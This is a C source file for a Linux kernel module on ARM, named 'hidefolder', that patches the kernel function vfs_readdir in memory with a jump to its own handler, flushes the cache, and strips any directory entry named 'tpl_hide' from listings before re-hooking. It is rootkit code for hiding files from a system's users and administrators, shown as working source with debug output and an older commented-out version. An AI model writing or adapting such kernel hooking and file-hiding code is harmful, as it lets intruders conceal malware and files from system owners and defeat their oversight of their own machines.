#include "common.h"

#define NUM_NEED 4
#define FUNC_OFFSET (3 * sizeof(int))
#define HIDE_NAME "tpl_hide"
static unsigned int saved_st[NUM_NEED];

extern asmlinkage long sys_getdents64(unsigned int fd, struct linux_dirent64 __user * dirent, unsigned int count);

extern int vfs_readdir(struct file *file, filldir_t filler, void *buf);
static void clean_cache(void *p1, void *p2)
{
    __asm__ __volatile__ (
        "mcr p15, 0, %0, c7, c14, 1\n"        
        ::"r"(p1));
    __asm__ __volatile__ (
        "mcr p15, 0, %0, c7, c14, 1\n"        
        ::"r"(p2));    

    __asm__ __volatile__ (
        "mcr p15, 0, %0, c7, c5, 0\n"
        ::"r"(0));
}

int my_readdir(struct file *file, filldir_t filler, void *buf);
static void jmpfunc(void)
{
    __asm__ __volatile__ ("mov %%pc, %0"
                          ::"r"((void *)my_readdir));    
}

static int hijack_readdir(void *func)
{
    void *pfunc, *pjmpfunc;

    pfunc = (void *)func;
    pjmpfunc = (void *)jmpfunc;

    memcpy(func, pjmpfunc + FUNC_OFFSET, sizeof(int) * NUM_NEED);

    clean_cache((void *)func, (void *)func + NUM_NEED);
    return (0);
}

struct getdents_callback64 {
	struct linux_dirent64 __user * current_dir;
	struct linux_dirent64 __user * previous;
	int count;
	int error;
};
#if 0
int my_readdir(struct file *file, filldir_t filler, void *buf)
{
	long ret;
	struct getdents_callback64 *pbuf;
	struct linux_dirent64 *dirent, *p;
	int count;
	int len;
	int n;
	
	printk(KERN_DEBUG "my readdir\n");
	pbuf = buf;
	printk(KERN_DEBUG "count = %d, err = %d, previous = %p, current = %p\n",
		pbuf->count, pbuf->error, pbuf->previous, pbuf->current_dir);

    memcpy((void *)vfs_readdir, saved_st, 4 * NUM_NEED);
    clean_cache((void *)vfs_readdir, (void *)vfs_readdir + NUM_NEED);
	
	ret = vfs_readdir(file, filler, buf);
	pbuf = buf;
	printk(KERN_DEBUG "count = %d, err = %d, previous = %p, current = %p, ret = %d\n",
		pbuf->count, pbuf->error, pbuf->previous, pbuf->current_dir, (int)ret);

	count = pbuf->count;
	
	if (ret >= 0) {
		dirent = (struct linux_dirent64 *)kmalloc(pbuf->count, GFP_KERNEL);
		if (pbuf->previous) {
			__copy_from_user(dirent, pbuf->previous, pbuf->count);
		} else {
			__copy_from_user(dirent, pbuf->current_dir, pbuf->count);
		}
		p = dirent;
		
		while (count > 0) {
			printk(KERN_DEBUG "count = %d, d_reclen = %d, d_type = %d, d_name = %s\n",
				count, p->d_reclen, p->d_type, p->d_name);
			count -= p->d_reclen;
//			if (strcmp(HIDE_NAME, p->d_name) == 0) {
//				len = p->d_reclen;
//				memmove(p, (char *)p + len, count);
//				memset((char *)p + count, 0, len);

//				len = pbuf->count;
//				memset(dirent, 0, pbuf->count);
//				n = __copy_to_user(pbuf->current_dir, dirent, len);
//				printk(KERN_DEBUG "len = %d, copy to user ret %d\n", len, n);
//				pbuf->count -= len;
//				break;
//			}

			p = (struct linux_dirent64 *)(((char *)p) + p->d_reclen);
			if (p->d_reclen == 0)
				break;
			
		}
		kfree(dirent);
	}

	
	hijack_readdir(vfs_readdir);
	
	return (ret);
}
#endif

int my_readdir(struct file *file, filldir_t filler, void *buf)
{
	long ret;
	struct getdents_callback64 *pbuf;
	struct linux_dirent64 *dirent, *p, *pre_user;
	int count;
	int len, len_cur;
	int last_len;
	
	printk(KERN_DEBUG "my readdir\n");
	pbuf = buf;
	printk(KERN_DEBUG "count = %d, err = %d, previous = %p, current = %p\n",
		pbuf->count, pbuf->error, pbuf->previous, pbuf->current_dir);
	pre_user = pbuf->current_dir;
	
    memcpy((void *)vfs_readdir, saved_st, 4 * NUM_NEED);
    clean_cache((void *)vfs_readdir, (void *)vfs_readdir + NUM_NEED);
	
	ret = vfs_readdir(file, filler, buf);
	pbuf = buf;
	printk(KERN_DEBUG "count = %d, err = %d, previous = %p, current = %p, ret = %d\n",
		pbuf->count, pbuf->error, pbuf->previous, pbuf->current_dir, (int)ret);

	len = (char *)pbuf->current_dir - (char *)pre_user;
	count = len;
	printk(KERN_DEBUG "p = %p, current = %p, len = %d\n",
		pre_user, pbuf->current_dir, len);

	last_len = 0;
	if (ret >= 0 && len > 0) {
		dirent = (struct linux_dirent64 *)kmalloc(len, GFP_KERNEL);
		__copy_from_user(dirent, pre_user, len);
		p = dirent;		
		
		while (len > 0) {
			if (p->d_reclen == 0) {
				printk("p->d_reclen == 0, last_len = %d\n", last_len);
				break;
			}

			printk(KERN_DEBUG "count = %d, d_reclen = %d, d_type = %d, d_name = %s\n",
				count, p->d_reclen, p->d_type, p->d_name);
			len -= p->d_reclen;

			if (0 == strcmp(HIDE_NAME, p->d_name)) {
				len_cur = p->d_reclen;
				memmove(p, (char *)p + len_cur, len);
				memset(p + len, 0, len_cur);
				__copy_to_user(pre_user, dirent, count);
				pbuf->count += len_cur;
				pbuf->current_dir = (struct linux_dirent64 *)((char *)pbuf->current_dir - len_cur);

				last_len = p->d_reclen;
				continue;
//				break;
			}

			last_len = p->d_reclen;

			p = (struct linux_dirent64 *)(((char *)p) + p->d_reclen);
		}
		pbuf->previous = (struct linux_dirent64 *)((char *)pbuf->current_dir - last_len);
		kfree(dirent);
	}

	printk(KERN_DEBUG "count = %d, err = %d, previous = %p, current = %p\n",
		pbuf->count, pbuf->error, pbuf->previous, pbuf->current_dir);	
	
	hijack_readdir(vfs_readdir);
	
	return (ret);
}

static int save_old(void *func)
{
    memcpy(saved_st, func, sizeof(int) * NUM_NEED);
    return (0);
}

int hidefolder_init(void)
{
	printk(KERN_DEBUG "hidefolder init\n");
	save_old(vfs_readdir);
	hijack_readdir(vfs_readdir);
	return 0;
}

void hidefolder_exit(void)
{
    memcpy((void *)vfs_readdir, saved_st, 4 * NUM_NEED);
    clean_cache((void *)vfs_readdir, (void *)vfs_readdir + NUM_NEED);
	printk(KERN_DEBUG "hidefolder exit\n");
}

module_init(hidefolder_init);
module_exit(hidefolder_exit);


MODULE_LICENSE("GPL");
MODULE_AUTHOR("tpl.a1406@gmail.com");


